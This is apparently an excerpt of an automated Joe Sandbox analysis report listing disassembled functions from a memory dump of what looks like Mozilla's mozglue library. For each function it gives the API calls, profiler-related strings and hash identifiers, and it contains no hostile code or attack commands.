Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CEB4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEB5585, 6CEB55A8, 6CEB55C3, 6CEB5624

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 94d54f2e55cceb5a2fffe7b528594bd5d7abd51e624858e5ddbeafab4514fb79
Instruction ID: 1e7b7915581fe7770038d44f0bba53e66fc5b225a1b3e264d609217b61609f86
Opcode Fuzzy Hash: 94d54f2e55cceb5a2fffe7b528594bd5d7abd51e624858e5ddbeafab4514fb79
Instruction Fuzzy Hash: 8FB25D71A066018FD709CF18C690725BBF2BFC5328B39C66DE4699B7A5D771E841CB80

Function 6CEF85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CEF8C7C
__aulldiv.LIBCMT ref: 6CEF8DD7

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: b4a6f765a07fa554310ac75a51e65f67bd604efcf9d02b065ee90113a02e3902
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 1F329431F001198BDF18CE9DC8A17AEF7B2FB89300F25853AD516BB790D6349D468B91

Function 6CEFB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CEA03D4,?), ref: 6CEFB955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6CEFB9A5

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d93d1b83f4cf60746b18469d6fe6e78b82cd617b423cbda13d7bbe7244b4f385
Instruction ID: ef6724c167d43b25f76090169a3b08da9fd3297d69bfe9656f30b8ef7107343c
Opcode Fuzzy Hash: d93d1b83f4cf60746b18469d6fe6e78b82cd617b423cbda13d7bbe7244b4f385
Instruction Fuzzy Hash: 9F41E871F0021DDFDF04CFA8D891ADEB7B5EF88358F248129E825A7B04DB3099458B91

Function 6CF076E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~ql, xrefs: 6CF07E0B, 6CF079C0, 6CF0793C, 6CF079FB, 6CF07B0B, 6CF07796

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID: ~ql
API String ID: 0-287904168
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: e6b3b9b324b26699f3b17e0206e7ee902405adced1a9aa6584e14f5917e58c45
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: B332EB71E006198FDB14CF99C890AADFBF2FF88704F6481AAC549A7745D731A986CF90

Function 6CF06E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~ql, xrefs: 6CF07E0B, 6CF07C03, 6CF079C0, 6CF07C72, 6CF0793C, 6CF079FB, 6CF07B0B

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID: ~ql
API String ID: 0-287904168
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 4189dc4032a2c1ef6779ad30dbf4b17336793d856d8f31c464c2e69919bb3881
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: BA22F771E006198FCB14CF98C890AADF7F2FF88304F6481AAD949A7745D731A986CF90

Function 6CED5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CEA4A63,?,?), ref: 6CED5F06

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: d9270ccb9681b743ed3d88013cc18ef86bca07a26f3b2219cd895e9b89a17c73
Instruction ID: bceccc583b0211397f9d4358a0a99b9bb439737c03285c5f2ab584185c5e4c19
Opcode Fuzzy Hash: d9270ccb9681b743ed3d88013cc18ef86bca07a26f3b2219cd895e9b89a17c73
Instruction Fuzzy Hash: 97C1A1B5E022098FCB14CF99C5906EEBBB2FF8A318F39415DD8556BB45D7326806CB90

Function 6CE9DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 199d81ebc5e061b94079f16522c36782f023ec966bd18f7090ea6307a32fca9a
Instruction ID: 4561c31944439a43190029d5642fa6ef318a10c21184d71af63528eefc27b8ee
Opcode Fuzzy Hash: 199d81ebc5e061b94079f16522c36782f023ec966bd18f7090ea6307a32fca9a
Instruction Fuzzy Hash: 3242B272A18B508BD318CE3CC49135AB3F2BFC9354F194B2DE999A7791D734D9428B82

Function 6CEC0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3f46a903132f0c2006ee2c121d8c9d3380f86d07c78c32612d0665a94f64c9c1
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: B3223975E04619CFCB18CF98C990AADF7B2FF89308F648599C45AA7705D730A986CF81

Function 6CF0AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4934079fadd8355ff76fe619e50b7bbf1f2af13f302bfb89585438a3074fea4d
Instruction ID: 44aeece121da8eade3d1e7ce20b781d8ba129a9e5a0c061d12c87e9eccf16bfd
Opcode Fuzzy Hash: 4934079fadd8355ff76fe619e50b7bbf1f2af13f302bfb89585438a3074fea4d
Instruction Fuzzy Hash: 4CF13A72B087458FD700CE28C8A07ABB7E2AFC5B19F158A2DE8D487781E774D845D792

Function 6CE9C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 92448faffd242e83fb0b5a743876c3b5c22ab9252987ce81cca2d716c427b060
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: ADA1B171F0021A8FDB08DE69C8913AEB7F2AFC9354F188129D915E7781DB349C068BD0

Function 6CED7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: f27a1bafbcdafd6474b815f46447ef1f092b9e9e1edb109454280054619c2e28
Instruction ID: 56ff23dfe3d9c55e27826f078b6a694ed56954db800de1b778651ab67d17e0df
Opcode Fuzzy Hash: f27a1bafbcdafd6474b815f46447ef1f092b9e9e1edb109454280054619c2e28
Instruction Fuzzy Hash: 89716D75E012198FCF18CF98C8905EDBBB2FF89318F25816ED815AB784D735A946CB90

Function 6CED58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 52722c8f6b9ba88190d487f8b437093eaa69bd93bdcddf8a55c4842731ca7b94
Instruction ID: 99354ba5f9eac3734ad02828d2f8724e6a766f59604e084e4289b10ea3d30172
Opcode Fuzzy Hash: 52722c8f6b9ba88190d487f8b437093eaa69bd93bdcddf8a55c4842731ca7b94
Instruction Fuzzy Hash: D3816D75E012199FCB04CFA8D8809EEBBF2FF89318F654269D421AB745D731B946CB90

Function 6CEDCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CEA582D), ref: 6CEDCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CEA582D), ref: 6CEDCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF0FE98,?,?,?,?,?,6CEA582D), ref: 6CEDCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CEA582D), ref: 6CEDCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CEA582D), ref: 6CEDCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CEA582D), ref: 6CEDCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEA582D), ref: 6CEDCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CEDCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CEDCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CEDCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CEDCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CEDCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CEDCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CEDCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CEDCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CEDCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CEDCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CEDCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CEDCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CEDCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CEDCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CEDCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CEDCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CEDCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CEDCE8A

Strings

default, xrefs: 6CEDCC21
preferencereads, xrefs: 6CEDCD92
audiocallbacktracing, xrefs: 6CEDCDD4
nativeallocations, xrefs: 6CEDCDA8
markersallthreads, xrefs: 6CEDCE42
cpuallthreads, xrefs: 6CEDCE16
jsallocations, xrefs: 6CEDCD0E
screenshots, xrefs: 6CEDCCD4
notimerresolutionchange, xrefs: 6CEDCE00
nostacksampling, xrefs: 6CEDCD7C
leaf, xrefs: 6CEDCC66
java, xrefs: 6CEDCC37
unregisteredthreads, xrefs: 6CEDCE58
samplingallthreads, xrefs: 6CEDCE2C
power, xrefs: 6CEDCE84
ipcmessages, xrefs: 6CEDCDBE
processcpu, xrefs: 6CEDCE6E
fileioall, xrefs: 6CEDCCA8
Unrecognized feature "%s"., xrefs: 6CEDCEA0
noiostacks, xrefs: 6CEDCCBE
seqstyle, xrefs: 6CEDCCE6
stackwalk, xrefs: 6CEDCCF8
fileio, xrefs: 6CEDCC92
mainthreadio, xrefs: 6CEDCC7C

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: e0af4b4288dbec243aaa19f724642bdba2c79f0694dd455af937ef3e42cca44e
Instruction ID: a34914f0b5cf3c50c33ad8952dd28c20c7143afdf2de453be9aebdd898f87b11
Opcode Fuzzy Hash: e0af4b4288dbec243aaa19f724642bdba2c79f0694dd455af937ef3e42cca44e
Instruction Fuzzy Hash: 5151C9D0B1522521FA0035156F31BAA6664EB136CEF32403AFD0DA1FC0FB15B60B96B7

Function 6CEA47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CEA4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CEA4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CEA482D
__Init_thread_footer.LIBCMT ref: 6CEA484A

Part of subcall function 6CECAB3F: EnterCriticalSection.KERNEL32(6CF1E370,?,?,6CE93527,6CF1F6CC,?,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB49
Part of subcall function 6CECAB3F: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE93527,6CF1F6CC,?,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECAB7C

GetCurrentThreadId.KERNEL32 ref: 6CEA485F
GetCurrentThreadId.KERNEL32 ref: 6CEA487E
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEA488B
free.MOZGLUE(?), ref: 6CEA493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEA4956
free.MOZGLUE(00000000), ref: 6CEA4960
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEA499A

Part of subcall function 6CECAB89: EnterCriticalSection.KERNEL32(6CF1E370,?,?,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB94
Part of subcall function 6CECAB89: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECABD1

free.MOZGLUE(?), ref: 6CEA49C6
free.MOZGLUE(?), ref: 6CEA49E9

Part of subcall function 6CEB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEB5EDB
Part of subcall function 6CEB5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CEB5F27
Part of subcall function 6CEB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CEB5FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6CEA4A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CEA4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6CEA4A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CEA4812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CEA47FC

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: ef2bfc5c3ecbd504c84b593379cb42210c2191501bbf69853b3eaba50fbfbd6f
Instruction ID: c0f55375cbbe3d0f1c03f3f91bffa525de73baa4bb04ebdf5a8b0f7ba15538c7
Opcode Fuzzy Hash: ef2bfc5c3ecbd504c84b593379cb42210c2191501bbf69853b3eaba50fbfbd6f
Instruction Fuzzy Hash: 37813371E001018FDB84DFA8D84575A37B1AF4232CF35162AE816DBF41EB31E956CB9A

Function 6CEA4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEA4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CEA44B2,6CF1E21C,6CF1F7F8), ref: 6CEA473E
Part of subcall function 6CEA4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CEA474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CEA44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CEA44D2
InitOnceExecuteOnce.KERNEL32(6CF1F80C,6CE9F240,?,?), ref: 6CEA451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CEA455C
LoadLibraryW.KERNEL32(?), ref: 6CEA4592
InitializeCriticalSection.KERNEL32(6CF1F770), ref: 6CEA45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CEA45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CEA45BB
InitOnceExecuteOnce.KERNEL32(6CF1F818,6CE9F240,?,?), ref: 6CEA4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CEA4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CEA4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CEA466D
VerSetConditionMask.NTDLL ref: 6CEA469F
VerSetConditionMask.NTDLL ref: 6CEA46AB
VerSetConditionMask.NTDLL ref: 6CEA46B2
VerSetConditionMask.NTDLL ref: 6CEA46B9
VerSetConditionMask.NTDLL ref: 6CEA46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CEA46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CEA46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CEA46FD

Strings

NativeNtBlockSet_Write, xrefs: 6CEA46F7
l, xrefs: 6CEA4578
kernel32.dll, xrefs: 6CEA44CD
user32.dll, xrefs: 6CEA4557, 6CEA463F
WRusr.dll, xrefs: 6CEA44B5

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 370b2a87bd453b717b17e0c781dee93450cbd9ba2094d0fbde252442f277f989
Instruction ID: 55a4501aaa6cc2c9fd689a6579ea38c5ce9f98aabc23359899c88da7ddf17315
Opcode Fuzzy Hash: 370b2a87bd453b717b17e0c781dee93450cbd9ba2094d0fbde252442f277f989
Instruction Fuzzy Hash: 3E6115B0E14348AFEB809FA1CC0ABA57BB8EB4630CF258559E5049FF51DBB18946CF51

Function 6CEDE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CEDB9F1,?), ref: 6CED7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CEDDCF5), ref: 6CEDE92D
GetCurrentThreadId.KERNEL32 ref: 6CEDEA4F
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEA5C
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEA80
GetCurrentThreadId.KERNEL32 ref: 6CEDEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CEDDCF5), ref: 6CEDEA92
GetCurrentThreadId.KERNEL32 ref: 6CEDEB11
